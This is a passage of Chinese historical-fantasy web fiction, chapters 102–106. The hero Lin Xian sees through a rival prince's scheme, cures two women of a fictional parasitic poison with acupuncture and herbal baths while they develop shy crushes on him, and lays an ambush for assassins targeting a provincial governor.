她语速加快,将赵王如何盛赞林闲“见解超凡”、“心态豁达”,最后更是掷地有声地抛出“不论门第、唯才是举”这面大旗的经过,原原本本复述了一遍。
紧接着她语气转为凝重汇报道:“但……太子一系坚决反对,言辞激烈。而最令人意外的是……汉王周阳。”
影刹顿了顿,似乎在斟酌措辞:“汉王殿下……他并未直接反对赵王,反而……说了些看似称赞先生的话,称先生才华横溢,当得起解元之位,甚至说点此寒门才子,正可彰显朝廷公正……”
见林闲示意她继续,影刹这才继续道:“但据我们潜伏在汉王府的暗线回报,汉王回府后,曾对其心腹谋士言且让那小子先得意几日,爬得高才摔得重!一个毫无根基的寒门解元,不过是本王砧板上的肉,届时看他如何跪地求饶!汉王此举,恐是……包藏祸心,意在捧杀!”
林闲安静听着,手指无意识在光滑的瓷瓶上轻轻敲击,发出清脆的微响。
当听到汉王“捧杀”之计时,他非但没有惊慌,反而摇了摇头,语气带着几分玩味和……不屑?
“汉王周阳?”
林闲嘴角勾起一抹讥诮的弧度:“这位王爷林某早有耳闻,其勇武有余谋略却浅。若论沙场征战,或是一把好手。但论朝堂机心?他这番称赞的话,条理清晰层层递进,最后还扣上彰显公正的大帽子……这可不是他那个粗线条的脑袋能想出来的。”
他站起身踱了两步,目光仿佛穿透墙壁,看到遥远的京城:“这番说辞,恐怕是他手下那位以诡谲著称的谋士手笔吧?先捧后杀,倒是符合其一惯的作风。可惜啊……画虎不成反类犬。他汉王平日里是个什么秉性,满朝文武谁人不知?突然说出这么一番深明大义的话来,除了让明白人觉得虚伪,还能有什么效果?这等粗浅的捧杀之计,也敢拿出来卖弄?
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”
影刹闻言心中豁然开朗,同时对林闲的洞察力感到骇然。
林闲竟连汉王身边的核心谋士都如此了解?而且对其计策评价如此之低?
“那……先生,我们该如何应对?”影刹忍不住问道。
“应对?”
林闲转过身,脸上恢复了从容的笑:“何必应对?他将我捧高,我便站得更稳!他想看我摔死,我便偏要乘风而起!在绝对的实力面前,这种小把戏,不过是跳梁小丑的滑稽戏罢了。”
他走到工作台前,拿起一个已经灌装好的、标签上写着元启净手凝露(试用)的白瓷瓶。
瓶身温润,按压泵头精巧。
林闲将瓶子和一封早已写好的信递给影刹道:“没有永远的敌人,也没有永远的朋友。影刹,麻烦你将此物连同这封信,秘密转呈赵王。”
信中,他首先对赵王的赏识和力荐表示诚挚感谢,随后笔锋一转:“殿下慧眼如炬,知闲之微末所长。闲近日偶得一小物,名曰元启净手凝露,按压即出泡沫,清爽便携尤适旅途、公务之需。此物虽小,或可见格物利民之一斑。闲愿将此物献与殿下,若殿下觉其尚可,闲愿与殿下合作设坊生产广利天下,亦可使殿下多一利民之实绩。如何经营全凭殿下安排,闲只提供技艺,分润之事,殿下定夺即可。……”
这封信,姿态放得很低。
林闲将新发明的“所有权”和“主导权”拱手让给赵王,只求“合作”和“利民”,利润分配也由赵王决定。
这既是对赵王支持的“投桃报李”,也是一份极具诱惑力的“礼物”!
影刹接过瓶子和信,感受到其中的分量。
林闲看着她,语气变得柔和:“你这次送来消息后,不必急着回去复命。就在这里……住下几日。”
影刹微微一怔。
林闲看向影刹,带着关切道:“你身上的毒……我近日翻阅南疆秘典,反复推演间似乎找到了一些新的头绪。需你在此停留几日配合我查验脉象,尝试新的解毒方剂。此事,或有转机。”
第102章 为美人解毒
此话一出,影刹浑身剧震!
“哐当~”
她手中那杯温热的茉莉香片再也拿捏不住,一声脆响跌落在地碎成几片。
温热的茶水溅湿了她的裙摆,她却浑然不觉。
解毒?
彻底清除折磨了她十几年的毒?
这可能吗?
她早已习惯服用那只能饮鸩止渴的解药,从未敢奢望能将这些寄生在体内的毒彻底铲除!
震惊及狂喜,瞬间冲垮了她的理智!
影刹猛低下头咬住唇不想失态,但那颤抖的双肩和压抑不住的呜咽,却暴露了一切。
“先……先生…您是说…真的有可能…彻底清除?”
影刹的声音破碎不堪,有些难以置信。
林闲走到她面前,没有安慰而是抬起手腕,用指尖在她小臂内侧的肌肤上一按。
然后借灯光仔细观察那浮现又消失的、几乎微不可见的淡红线状痕迹。
“缠丝痋,南疆巫蛊奇术,实为一种极微小的共生性线状寄生虫。赵王当时可是下血本了!”
林闲语气平静得像在讨论天气,却一语道破了这奇毒的本质。
“难怪!”
影刹突然想起自己曾求神医时,大夫说自己很健康,但随后却有些难言之隐,难不成是怀疑自己被下了蛊?
没等影刹反应过来,林闲转身从书架上抽出一本夹杂草图的手札。
但见他快速翻阅后,指着一页凝重道:“应该就是此物!其诡谲在于其非简单**,而是活体寄生虫群。它们寄生在宿主经脉交汇的阴枢穴附近,以宿主内力精血为食分泌特殊毒素,导致经脉滞涩痛楚钻心。赵王用来控制你们的常规解药只能杀死部分成虫,但无法清除虫卵和幼虫。反而刺激虫群加速繁殖产生抗药性,故越解越深。”
他抬起眼,看着一脸期待的影刹解释道:“但万物相生相克。我观此虫习性,畏光畏热、尤畏特定植物提取的生物碱。若以金针渡穴,将林某的香薰成分送入其巢穴(阴枢穴),可瞬间麻痹其神经系统。”
随后他似乎想到了什么,指着那个浴盆脸红道:“随后再辅以温水药浴,加入皂角苷增强渗透打开毛孔,将残余虫卵和毒素从体内冲洗出来!此乃靶向给药,物理清除之法!”
影刹听得目瞪口呆!
杀虫剂?农药?冲洗?
这些闻所未闻的词语,从林闲口中说出,却带着一种难以言喻的强大说服力!
他仿佛不是在解毒,而是在进行一场精准的生物消杀作业。
这种完全超越时代认知的解读和方案,让她震撼得无以复加!
“成功率,基于目前观察和推演约有七成。”
林闲最后补充道,语气笃定。
七成?
狂喜和崇拜淹没了影刹!
她瞬间跪地抽泣道:“影刹的命是先生给的!但凭先生吩咐!纵是烈焰焚身,妾身也绝不退缩!”
……
第二天完成任务后,影刹就暂且留了下来。
除了帮林闲打打下手跑跑腿外,每日黄昏的治疗,成为她内心最旖旎的仪式。
治疗时林闲要求她褪去外衫,只着中衣。
每当此时,影刹总会下意识地微微侧过脸,试图避开林闲的目光。
她的脸颊泛起一层绯红,如染霞白玉一直蔓延到耳根。那小巧精致的耳垂通红,仿佛要滴出血来。
影刹能感觉到自己的脸颊在发烫,那热度几乎要灼伤她自己。
林闲准备施针时,会靠近影刹面部观察穴位。
当他微凉的手轻触她颈侧或耳后时,影刹浑身都会难以自抑轻颤,一股电流窜遍全身。
她不得不紧咬下唇,才能抑制住几乎脱口而出的轻哼。
她垂下眼帘,心中却已乱成一团:
“要命……先生的手……怎么这么凉…却又如此舒适……”
一股难以言喻的酥麻感,从接触点窜开,让她心跳瞬间漏了好几拍。
“嘤咛~我这是怎么了?不过是治疗而已……平日冷酷训练里,什么苦没吃过,什么痛没忍过?可为什么……为什么偏偏先生轻微的触碰,却比刀剑加身更让人难以招架……哎,又来….”
纠结的影刹甚至能清晰闻到林闲身上的墨香,这气息让她莫名的心安,却又让她的脸颊发烫。
她的心,就像在谈恋爱。
“先生的呼吸……轻拂在
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我耳侧……好痒……连耳朵都开始烧起来了……他一定看到了……看到我的耳朵这么红……真羞人……”
“不能看他的眼睛…绝对不能看……”
影刹紧闭着眼,长长的睫毛剧烈颤抖着,仿佛这样就能隔绝一切令人心慌的源头。
“可是……就算闭上眼睛,他的样子……他专注蹙眉的样子,他薄唇紧抿的样子……怎么反而更清晰了?苦修的静心诀都跑到哪里去了?!”
那饱满的唇在内心纠结中,被影刹咬得更显得娇艳欲滴。
随后更让她心慌意乱的环节到了,是施针过程。
林闲需要在她颈后、耳下等处的穴位下针。
他靠得极近,男子气息似有若无拂过她的额发、鬓角。
影刹根本不敢抬眼,低垂的眼眸只能死死盯着自己的膝头或者林闲衣袍的下摆,心跳在寂静的室内显得异常清晰。
她甚至能感觉到他的视线落在自己脖颈上,那目光仿佛温度,让她从脖颈到锁骨的一片肌肤都微微绷紧,泛起细小的颗粒。
随后没等她再凌乱,林闲已开始进入药浴阶段。
当林闲拿着琉璃放大镜,凑近了仔细观察影刹脖颈和锁骨附近皮肤因药力产生的细微变化时,影刹更是羞得抬不起头。
她紧闭眼眸,浓密的睫毛试图隔绝那令人心慌意乱的近距离注视,但感官却变得更加敏锐。
林闲温热的呼吸拂过颈侧,让她从耳根到脊背都窜过一阵酥麻……
几天又开心又难受治疗下来,影刹体内的毒素明显减轻。
但影刹觉得,自己仿佛中了另一种更厉害的“毒”。
她开始不敢直视林闲的眼睛,偶尔目光相接便会像受惊的小鹿般迅速躲开。
影刹甚至会在林闲不注意时,偷偷瞄他专注的侧脸,他微蹙的眉头,他紧抿的薄唇……
每一次偷看,都让她的心跳漏掉一拍。
夕阳下药香弥漫。
一人全心解毒,冷静如医。
一人情窦再开慌乱羞怯,每一个细微的表情,都在无声诉说着内心的波澜。
一种极致的冷静与极致的暖昧,在这黄昏中交织出动人的画卷。
第103章 破毒定乾坤,芳心暗动
很快,到了彻底解毒的那夜。
此刻林闲屋内月光如练,透过窗台洒下一片清辉。
空气中弥漫着凝重,混合着草药的苦涩与一种令人心宁的香。
林闲立于香案前。
案上摆放的不再是杂乱的工具,而是几样精心准备的器物:一个造型古朴的紫铜香炉,炉内正袅袅升起淡蓝色的烟雾,散发出醇厚绵长的“安神定魂香”,一碗墨绿近黑、散发着奇异腥甜气味的粘稠药液,一排寒光闪闪的金针。
经过数日的脉象观察、药性测试和近乎苛刻的推演,林闲对那阴毒机理已洞若观火。
他负手而立,对盘膝坐在蒲团上的影刹沉声道:
“此毒诡谲不在其烈,而在其缠与惑。它缠绕经脉更如心魔,侵蚀神智令**者心绪不宁易于操控,故常规药物难入其核心。”
林闲的声音平静,却带着掌控全局的自信:“今夜我们不再姑息。林某要用的,是破釜沉舟之法。”
“破釜沉舟?”
影刹眼眸忽闪,带着一丝疑惑。
林闲淡然一笑,指向那碗药液道:“此乃破障汤,以毒攻**性霸道,服下后如烈火焚经,痛苦非常。”
随后他看了眼影刹,这才又指向香炉:“而此定魂香,才是关键。它以百年沉香、深海琥珀、冰片龙脑为主,佐以宁神花、通窍草等珍稀药材。功效不在解毒,而在定神!守住灵台清明方能引导霸道的药力,精准绞杀毒而不伤及自身根本。”
林闲的眼神带着鼓励道:“过程会极其痛苦,毒素反扑会制造幻象,冲击心神。但你必须相信我,紧守心神,引导药力。若心神失守药力失控,轻则经脉受损,重则……神仙难救。你,可敢一试?”
影刹迎上林闲的目光,那目光中的坚定与自信,如同定海神针,瞬间抚平了她所有的恐惧。
她没有任何犹豫接过药碗,仰头一饮而尽。
药汁入喉如岩浆滚过,带来灼烧般的剧痛。
但她眉头都未皱一下,反而眼中燃起决绝的光芒!
“影刹的命是先生给的!但凭先生施为!”
影刹盘膝坐定,闭上双眼,内力开始缓缓运转。
林闲微微颔首,不再多言。
他出手如电,指尖捻起金针,在空中划过数道寒光,精准无比刺入影刹背后“神道”、“灵台”、“至阳”等几处关乎心神与阳气运转的大穴!
手法之快,认穴之准,堪称神乎其技!
“来了!”
林闲低喝一声。
随即药力与金针导入的阳气瞬间汇合,化作一股炽热在影刹经脉中轰然爆发!“嘤咛~好痛!”
如同千万根烧红的钢针在经脉中穿刺!那纠缠多年的阴寒毒气疯狂反扑,冰火交织的剧痛让影刹几乎晕厥!
“不能放弃!先生还在!”
无数混乱痛苦的记忆碎片如同潮水般涌来,试图将她拖入绝望的深渊。
就在她心神摇曳,即将被痛苦和幻象吞噬的刹那,那股醇厚宁静的“定魂香”气息,如九天之上垂下的甘露,又似母亲最温柔的抚慰,精准浸润了她的识海。
所有的杂念、恐惧、痛苦,仿佛被一只无形的大手轻轻拂去,灵台瞬间恢复一片清明!
“是先生的香!他连我的心神波动都计算在内了!”
影刹心中涌起无限的感激和信赖,她不再犹豫,全力引导着那霸道的药力洪流。
所过之处阴寒毒气如同冰雪消融,发出“嗤嗤”的异响!
时间在极度的痛苦与专注中缓慢流逝。林闲始终凝神静气,如最老练的舵手不时微调金针,引导着“火龙”的走向,额上渗出细密的汗珠,眼神却依旧锐利如鹰。
不知过了多久,仿佛一个世纪般漫长。影刹身体猛地剧烈一震。
“噗——!”
一大口粘稠漆黑的淤血从她口中喷出,溅落在地面上!
淤血离体的瞬间,难以言喻的轻松感席卷全身。
那纠缠她十几年、如影随形的阴寒滞涩,瞬间消失得无影无踪!
此刻影刹的经脉畅通无阻,内力运转圆融活泼,仿佛卸下了千斤重担!
她难以置信地内视己身,确认那噩梦般的毒素真的被清除一空。
巨大的狂喜和如释重负的感觉,如决堤洪水瞬间冲垮了她所有的理智和克制!
她睁开眼,泪水如同断线的珍珠般滚落。
眼前这个男子不仅给了她新生,更在她最痛苦的时刻守护了她的心神!
多年压抑的情感如同火山般爆发,影刹再也无法自持。她从蒲团上弹起,不顾一切扑入了林闲的怀中!
“先生!谢谢……谢谢您!”
她把脸深深埋在林闲的肩头,声音哽咽得语无伦次。
温热的泪水迅速浸湿了林闲的衣衫,影刹哽咽道:“毒真的解了……影刹……影刹不知该如何报答您的大恩……我……我……”
她想说“愿以身相许”,却羞于启齿。
想说“愿效犬马之劳”,却觉得不足以表达其万一。
千言万语堵在胸口,最终只化作更用力的拥抱和无声的泪水。
林闲被她这突如其来的举动弄得微微一怔,但感受到怀中娇躯的颤抖和那份劫后余生的激动,他并没有推开她。
林闲犹豫了一下,最终轻拍影刹的后
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背,语气温和安抚道:“毒既已解,便是好事。好好调养,未来方长。”
“嗯!“
影刹在林闲怀中汲取着温暖,过了好一会儿,激动的情绪才渐渐平复。
她抬起头,泪眼朦胧看着林闲的脸庞。
烛光下,他眉眼的疲惫清晰可见。她心中充满了感激和一种难以言喻的依恋。
影刹毕竟是心思细腻之人。
从林闲虽然温和却保持着克制的姿态中,从他平日提及苏元时流露的温柔里,她早已敏锐察觉到什么。
她从林闲怀中退出半步,拭去脸上的泪痕道:“先生大恩,影刹永世不忘。影刹深知,先生心中……早已有了苏元姑娘那般明月似的人儿。影刹蒲柳之姿,出身微贱,不敢有非分之想。”
林闲闻言,微微一怔看向影刹。
见她虽强作镇定,但眼底深处那一抹失落和自卑却难以掩饰。
他心中轻叹,知道有些话必须说清楚。
他点了点头,语气坦诚而带着几分歉意:“影刹,你是个好姑娘,聪慧、坚韧、重情义。正如之前我们夜饮提到的,我与苏元确实彼此倾心,此事我不瞒你。”
听到林闲再次强调,影刹的心像是被针扎了一下,但随即又涌起一股释然。
她露出带着祝福的笑容:“苏姑娘才貌双全,与先生正是天造地设的一对。影刹……真心为先生高兴。”
她顿了顿,神色变得无比郑重和坚定,后退一步,单膝跪地,行了一个极其郑重的礼,仰头看着林闲,目光清澈而决绝:
“先生!影刹的命是您给的!此生此世,影刹别无他求,只愿追随先生左右,为先生之耳目,为先生之臂膀!无论是刀山火海,还是万丈深渊,只要先生一声令下,影刹万死不辞!此心此志,天地可鉴!”
这不是男女之情的告白,而是士为知己者死的誓言。她将自己的定位,从可能的情愫对象,彻底转变为忠诚的护卫和下属。这是她表达感激和实现自我价值的方式。
林闲看着跪在面前的女子,看着她眼中那份不容置疑的忠诚和决心,心中深受触动。
他上前一步,双手将她扶起郑重道:“好!你我算是挚友与伙伴。你的未来,不应再局限于黑暗,应有更广阔的天地。”
影刹站起身,眼中泪光再次涌现,这次却是喜悦和希望的泪水。她用力点头:“是!先生!”
经此一夜,两人之间的关系发生了微妙而牢固的转变。
解毒之恩,知遇之情,以及这份超越寻常的信任与托付,将他们紧紧联系在一起。
窗外月色正明,预示着新的开始。
第104章 赵王赞格局,筹划谋合作
夜色深沉,赵王府烛火通明。
一路风尘赶回的影刹垂手而立。
她气息刻意收敛,努力维持往日那种略带一丝阴郁、符合长期**者的微弱气场。
然而经脉畅通、沉疴尽去带来的那种轻盈,却难以完全掩盖。尤其是那双原本时常带着隐痛与疲惫的眼眸,此刻清澈明亮,顾盼间不经意流露出焕然的光彩。
临行前,影刹特意又去林闲那一趟。
林闲看着她红润的气色皱眉道:“你这样回去,赵王那只老狐狸不起疑才怪。”
他转身从工作台上取来一个小瓷盒,里面是他调制的、近乎肤色的细腻膏体,带着淡淡的草药味。
他示意影刹坐下,用指尖蘸取少许手法娴熟地在她眼底、鼻翼两侧、唇周等位置轻轻拍抹开。
“此物能暂时抑制气血过旺的表征,模拟出一种虚浮的苍白和隐隐的青灰色,看起来就像……嗯,就像急需解药维持的样子。”
林闲一边操作一边解释,嘴角带着一丝戏谑的笑意:“放心,对皮肤无害,清水一洗就掉。演戏,总要演全套嘛。”
影刹感受着他微凉的指尖在脸上轻柔地点按,心中涌起一股奇异的暖流和哭笑不得的无奈。
这位先生,心思缜密起来,真是可怕得让人安心。
此刻站在赵王面前,影刹心中对林闲的“未雨绸缪”充满了感激。
那层薄薄的“伪装”恰到好处地中和了她由内而外的健康光泽,让她看起来只是“精神稍好”,但底子里仍透着一股需要药物维持的“虚态”。
赵王周宸放下手中的书卷,目光落在影刹身上时停顿了一下,眼中闪过一丝讶异。
他敏锐感觉到今晚的影刹,似乎有些不同。
具体哪里不同,一时难以言说。
但……气色似乎比往日略显“虚浮”?
眉宇间那挥之不去的阴郁似乎淡了些,但眼底隐约可见的一丝疲色(实为林闲的化妆术)又似乎印证着她仍需依赖药物。这细微的矛盾变化,让他一时难以准确判断。
他不动声色,指尖无意识地在书案上轻轻敲击,语气平淡如常:“事情办得如何?林闲那边,是何反应?”他边问边仔细观察着影刹的神情,试图找出更多线索。
影刹心中凛然,知道赵王洞察力惊人,不敢有丝毫大意。
她微微躬身,语气保持着惯有的清冷与恭敬,但刻意让声线听起来比平时略微“虚弱”和“沙哑”一点:“回殿下,林闲收下心意,对殿下之举荐深表感激。”
她甚至巧妙地轻咳了一声,显得中气略有不足。
她呈上锦盒,并开始汇报林闲的合作提议。在描述治疗过程时,她极其谨慎,绝口不提“解毒”二字,只含糊道:“……林先生确通医理,为属下诊脉后,施以金针,并燃了一种特制的宁神香,说是可暂缓属下的旧疾发作,减轻些许痛苦……过程颇为难熬,但结束后,属下确实感觉……松快了些许,只是……似乎更为依赖药物支撑了。”她巧妙地将解毒后的舒畅,解释为“暂时缓解”的效果,并暗示了“副作用”。
赵王听着,目光再次扫过影刹。
看到那经过“伪装”后、恰到好处介于“略有好转”与“仍需依赖”之间的气色,心中那丝疑虑并未完全消散,但似乎找到了合理的解释。
“看来林闲用的是某种激进的镇痛安神之法,效果显著但透支元气,故需更频繁地依赖解药维持?此子手段,倒是剑走偏锋。”
他更愿意相信这个符合他认知的解释。
于是他压下那丝疑虑,将注意力完全集中到影刹汇报的内容和林闲的信上。
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当听到林闲不仅爽快同意合作,更将新产品的“主导权”和大部分利润让渡给自己时,赵王深邃的眼眸闪过惊讶,随即化为由衷的赞叹。
他摩挲着手中那瓶凝露,感受着按压泵头的顺滑笑道:“投我以木桃,报之以琼瑶。匪报也,永以为好也。这林闲……果然非同一般。他看的不是眼前蝇头小利,而是更长远的格局和人心。此子心胸,远非寻常商贾或士子可比。”
赵王站起身踱步至窗前,望着庭院中的月色道:“他明知本王举荐他或有私心,却能以如此大气魄回应。献上利国利民之物,助本王积累声望实绩,更将合作之谊摆在明处。这是阳谋,更是诚意。与这样的人合作,方能成大事。”
他转身对影刹吩咐道:“回复林闲,合作之事,本王准了。具体事宜,会派得力之人与他接洽。另外……转告他,本王期待他金榜题名之日。”话语中,招揽与器重之意,已不言而喻。
“是,殿下。”
影刹恭敬应道,心中暗暗松了口气。
她知道赵王暂时没有深究她身体的变化,想了想影刹随即又补充道:“属下……明日便去照例领取这个月的缓解药剂。”
这句话,彻底打消了赵王最后的一丝疑虑。
‘果然还是需要定期服药压制……’
赵王心中最后一点疑云散去,点了点头:“嗯,去吧。好好替本王办事,本王不会亏待你们。”
影刹领命,低眉顺目地退下,心中却为林闲的谨慎和自己的应对感到庆幸。
几乎在影刹离开的同时。
经过林闲初步药物治疗、情况已稳定许多的柳如丝,也借着夜色掩护来到林闲的工坊。
她带来的不仅是亟待彻底清除的余毒,更有她搜集到的关于赵宪、赵公子父子更致命、更详细的罪证!
第105章 毒尽谋定:柳如丝的旖旎狂想
静室内,药香混搭着与一丝若有若无的血腥。
参照影刹经验,被林闲换来解毒的柳如丝盘膝而坐。
她脸色虽苍白,但眉宇间那股纠缠多年的死寂之气已消散大半。
随着体内最后一口漆黑腥臭的毒血喷出,柳如丝感到身体前所未有的通畅与轻松,激动得热泪盈眶。
“好了!”
林闲收针净手,动作行云流水,神情平静无波。
他取过一块温热的湿巾,极其自然地伸手,轻轻擦拭柳如丝额角因剧痛渗出的细密汗珠。
他的指尖微凉,动作却轻柔得如同对待一件珍宝。
‘先……先生的手……’
柳如丝浑身猛地一颤,仿佛有一股微弱的电流从林闲指尖触碰的地方窜遍全身!
‘他……他在为我擦汗……’
一股难以言喻的羞赧瞬间冲上心头,让她的脸颊不受控制地飞起两抹红云,连耳根都烫得惊人。
她偷偷抬起眼帘,飞快瞥了一眼近在咫尺的林闲。
他正专注地看着她,那双深邃的眼眸里没有半分杂质,只有医者的冷静和……一丝不易察觉的关切?
可这专注的目光,却让柳如丝的心跳得更快了,如同揣了一只受惊的小鹿。
‘若是……若是先生此刻……不是用指尖,而是用……用唇……轻轻碰一下我的额头……’
一个大胆到让她自己都脸红的念头突然冒了出来,
‘就像话本里写的,英雄救美后那般……轻薄一下……’
这个念头让她羞得几乎要缩起来,却又带着一丝隐秘的、令人心悸的期待。
哎呀!柳如丝!
你在胡思乱想什么?
先生是正人君子,是在为你疗伤解毒!
你怎可生出如此……如此不知羞耻的念头!
柳如丝慌忙垂下头,不敢再看林闲,生怕被他看穿自己心中这荒唐的涟漪。
“余毒已清,但经脉初愈,需静养数日,不可妄动内力。”
林闲的声音打破了寂静,语气带着医者的权威与淡然,似乎并未察觉柳如丝的异常。
柳如丝强压下心中的波澜,挣扎着想要起身行礼,却被林闲用眼神制止。
“不必多礼。”
林闲目光落在她依旧紧握在手中的那个油布包裹的小册子上笑道:“你带来的东西,比虚礼重要。”
柳如丝深吸一口气,将小册子双手奉上,语气带着决绝与恨意:“先生,此乃赵宪父子这些年来贪墨漕银、勾结水匪、陷害忠良、以及……与汉王暗中往来、贩卖军械的铁证!此前外界所传,不过九牛一毛,此册所载,方是铁证如山,足以让他们满门抄斩!”
林闲接过册子快速翻阅,眼神愈发冰冷。
然而真正让他眼中爆射出凛冽寒光的,是柳如丝紧接着说出的话。
“先生,还有一事,更为紧急!赵宪老贼狗急跳墙,定下毒计,欲在三日后巡抚孙有道大人巡视漕运码头时,雇血煞门的顶尖**,当众刺杀巡抚,再嫁祸灭口!”
刺杀巡抚?嫁祸于人?
林闲怒极反笑,眼中寒芒大盛:“好一招毒计!真是自寻死路!”
他猛地站起身,一股气势骤然散发开来!
烛火为之摇曳,静室内的空气仿佛都凝滞了几分。他负手而立,目光仿佛能穿透墙壁,直视那遥远的、酝酿着阴谋的漕运码头!
这一瞬间,他不再是那个温和的医者,而像是一位执掌生杀、俯瞰棋局的王者!
“赵宪,你真是利令智昏,自掘坟墓!原本凭这些罪证,扳倒你虽需费些周折,但终究是依法办事。可你现在竟敢动用刺客,行此大逆不道之事?这是把现成的谋逆大罪往我手里送!”
“血煞门?江湖宵小,正好连根拔起,给赵王送上一份‘剿匪安民’的功劳!孙有道若**未遂,反而人赃并获……那赵宪就是黄泥掉进裤裆,不是屎也是屎!汉王若想保他,就是同谋!”
林闲不再犹豫,快步走到书案前,铺开两张信笺,笔走龙蛇!
第一封信,是写给影刹的密令,字迹凌厉,杀气腾腾:
“赵宪老贼黔驴技穷,欲行刺孙巡抚嫁祸灭口,自取灭亡!此乃天赐良机,不容有失!附上罪证关键摘要,汝速密呈赵王……请王速派绝对心腹精锐,暗中保护孙巡抚,布下天罗地网,务求在刺客动手时人赃俱获!此乃赵王清理门户、一举斩断汉王在江南触手的绝佳时机!动作要快,要狠!闲即刻”
第二封信,是写给苏元的安抚信,字迹温润,情意绵绵:
“元儿卿卿如晤:秋风送爽,然山雨欲来。闲知你心系外界,故特书此信,望你安心。赵家父子,秋后蚂蚱,蹦跶不了几天了。彼辈自作孽,已挖好坟墓,闲不过顺手,送他们一程而已。安心居于听雪小筑,一切有我。待金榜题名时,必携一城桂香,为卿簪花。闲手书”
两封信一刚一柔,杀伐果断与温情脉脉并存,尽显林闲翻手为云、覆手为雨的掌控力。
写罢,他唤来柳如丝和心腹老仆,分别交付密信。
当林闲将给影刹的密信交给柳如丝,柳如丝仰头望着他冷静睿智侧脸,心中再次涌起海啸般的悸动与崇拜!
‘先生……先生刚才的样子……’
柳如丝只觉得自己的心快要跳出胸膛。
‘仿佛天神下凡,执掌生死……太……太耀眼了!’
一股难以言喻的冲动,在她心中疯狂滋长。
好想……好想像一只小猫一样,不管不顾地扑进他怀里,用脸蹭蹭他的胸膛,感受他的温度和心跳……哪怕只是片刻也好……
这个念头如同野火燎原,烧得她浑身发烫。
或者……或者像那些大胆的江湖女子一样,踮起脚尖,飞快地在他脸颊上亲一下,然后转身就跑……
这狂野的想象让柳如丝自己都吓了一跳,脸颊红得几乎要滴出血来!
‘天啊!柳如丝!你疯了吗!’
她猛地
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从狂想中惊醒,巨大的羞耻感几乎将她淹没。
‘先生是何等人物?是救你性命、谋划乾坤的恩人!你怎可……怎可生出如此……如此放浪的念头!真是……真是不知廉耻!’
柳如丝死死咬住下唇,用疼痛强迫自己冷静下来,慌忙垂下头,她不敢再看林闲,生怕那炽热的目光会泄露心底最羞人的秘密。
“如丝明白!定……定不负先生所托!”
看着柳如丝纠结颤抖的身影消失在夜色中,林闲负手立于窗前,目光深邃间仿佛已穿透重重夜幕,看到了即将到来的风暴与胜利。
“本来想按规矩下棋,你偏要掀桌子。”
他低声自语,声音平静却带着刺骨的寒意。
“既然你选择了自寻死路,那我就……只好成全你了。正好,连你背后的主子,也一并敲打敲打。”
另一边。
柳如丝怀揣着那封密信,快步走出林闲的工坊小院。
清凉的夜风拂面而来,却丝毫无法吹散她脸颊那滚烫的温度。
方才在静室内,林闲那运筹帷幄的气势、那专注的侧脸、还有自己心中那些荒唐大胆的念头,如同走马灯般在她脑海中反复回放,让她的心砰砰直跳,呼吸都有些不稳。
她几乎是逃也似地回到了林闲为她安排的临时住所——一间干净简洁的厢房。
关上门,背靠着冰冷的门板,她才仿佛获得了片刻喘息的机会。
屋内没有点灯,只有清冷的月光透过窗棂洒进来。
黑暗中,她下意识地走到床边,从枕头底下摸索着拿出一个东西——那是一个用边角布料悄悄缝制的、有些歪歪扭扭的小布偶。
布偶的眉眼用墨笔草草画就,虽简陋却依稀能看出几分林闲的神韵。
这是她这几日养病闲暇时,偷偷缝的,连她自己都说不清为何要这么做。
此刻,她将这个小小的、柔软的布偶紧紧抱在怀里,仿佛这样才能平息内心翻江倒海般的情绪。布偶上似乎还残留着一丝阳光和药草混合的味道,让她感到莫名的安心。
她将发烫的脸颊深深埋进布偶柔软的“身体”里,仿佛这样就能隔绝外界,也能隐藏自己滚烫的羞意。然而,心底那股躁动却越发清晰。
鬼使神差地她抬起头,借着朦胧的月光,痴痴看着布偶那简单的林闲“脸庞”。
犹豫了片刻,她飞快如做贼一般,用红唇轻碰布偶微微上扬的“嘴角”。
触感粗糙,却让她浑身一颤!
“呀!”
她轻呼一声,仿佛被自己的大胆举动吓到。
“完了完了……柳如丝……你真是……没救了……”
柳如丝闷闷的声音从膝盖间传来,带着无尽的羞赧和一丝连自己都无法控制的、甜蜜的绝望。
月光静静流淌,照映着屋内蜷缩的身影。
那颗刚刚重获新生的芳心,却早已被另一种更加强烈、更加难以抗拒的“毒”所俘获,深陷其中,无法自拔。
第106章 暗夜伏击:算无遗策,自投罗网
江南的秋夜。
月隐星稀,寒风萧瑟。
通往郊外别院的官道上,一队人马在灯笼的微光中逶迤而行。
巡抚孙有道坐在八抬大轿内,有些心神不宁。
他虽与赵宪勾结多年,但近日风声鹤唳,赵宪狗急跳墙的迹象愈发明显,这趟所谓的“静养”之行,让他嗅到了浓重的危险气息。
他不仅将护卫增加了一倍,更在官袍内暗穿了金丝软甲,轿内还藏了一柄淬毒短剑。
密林深处,五十余名黑衣蒙面的**如同蛰伏的毒蛇,眼中闪烁着嗜血的光芒。
**头目“血狼”舔了舔干裂的嘴唇,低声道:“兄弟们,肥羊已入套!记住速战速决,取了狗官首级,伪造好现场,赵大人重重有赏!”
众**无声狞笑,握紧了手中的兵刃。
然而他们做梦也想不到。
就在他们头顶的树冠阴影中,以及更外围的灌木丛里,另一支更加精锐的队伍,已在此潜伏了整整一夜!
永昌府团练使张魁,这位曾被林闲“招安”的原水匪头子,正趴在一处土坡后。
他嘴里叼着一根草茎,眼神锐利如鹰。他低声对身旁副手笑道:“闲先生真是神机妙算!说这群蠢货会在这儿埋伏,连时辰都分毫不差!兄弟们,都给老子打起精神!等他们先动手,咱们再包饺子!让他们尝尝什么叫螳螂捕蝉,黄雀在后!”
“杀——!”
突然,尖锐的唿哨撕裂夜空!
“血狼”率先跃出,刀光如匹练,直劈轿门!数十名**如鬼魅般从林中涌出,喊杀震天!
孙有道的护卫虽早有准备,但仍**了个措手不及,瞬间人仰马翻,血光迸溅!
“保护大人!”
护卫统领目眦欲裂拼死抵挡,但**人数众多,手段狠辣,护卫很快伤亡惨重,防线摇摇欲坠。
孙有道在轿中面如土色,听着外面的惨叫,浑身抖如筛糠。
就在“血狼”一刀劈开轿帘,狞笑着看向轿内惊恐万状的孙有道时——
“呜——呜——呜——”
三声低沉雄浑的牛角号,如同地狱丧钟,骤然响起!声震四野!
唰!唰!唰!
刹那间,密林四周火把通明!将黑夜照得亮如白昼!
无数身强力壮、眼神凶悍的团练兵士如同神兵天降,手持明晃晃的朴刀、强弓硬**,将整个战场围得水泄不通!
张魁提着一把九环鬼头大刀,越众而出,声如洪钟,带着一股土匪招子的彪悍气息:“呔!哪来的不开眼的山贼,敢在你张爷爷的地盘上撒野?劫杀朝廷命官,你们他妈是活腻歪了!”
